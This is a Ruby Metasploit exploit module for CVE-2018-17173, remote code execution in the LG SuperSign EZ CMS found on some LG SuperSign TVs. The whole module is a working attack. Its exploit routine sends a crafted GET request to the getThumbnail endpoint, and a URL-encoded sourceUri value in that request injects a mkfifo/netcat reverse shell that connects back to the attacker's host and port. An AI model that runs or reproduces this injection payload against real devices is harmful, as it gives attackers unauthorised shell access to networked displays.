LG Supersign EZ CMS Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'LG Supersign EZ CMS RCE',  
'Description' => %q{  
LG SuperSignEZ CMS, that many LG SuperSign TVs have builtin, is prone  
to remote code execution due to an improper parameter handling  
},  
'Author' => ['Alejandro Fanjul'],  
'References' =>  
[  
[ 'CVE', '2018-17173' ],  
[ 'URL', 'https://mamaquieroserpentester.blogspot.com/2018/09/lg-supersign-rce-to-luna-and-back-to.html']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
},  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'netcat'  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 21 2018'  
)  
)  
register_options(  
[  
OptString.new('RPORT',[true,'Target port','9080'])  
], self.class)  
  
end  
  
  
def exploit  
lhost=datastore['LHOST']  
lport=datastore['LPORT']  
#uri = target_uri.path  
cmd = Rex::Text.uri_encode(payload.encoded)  
connect  
res = send_request_raw({  
'method'=>'GET',  
'uri'=>"/qsr_server/device/getThumbnail?sourceUri='%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20"+lhost+"%20"+lport.to_s+"%20%3E%2Ftmp%2Ff;'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150"  
  
})   
handler  
disconnect  
  
end  
  
end  
`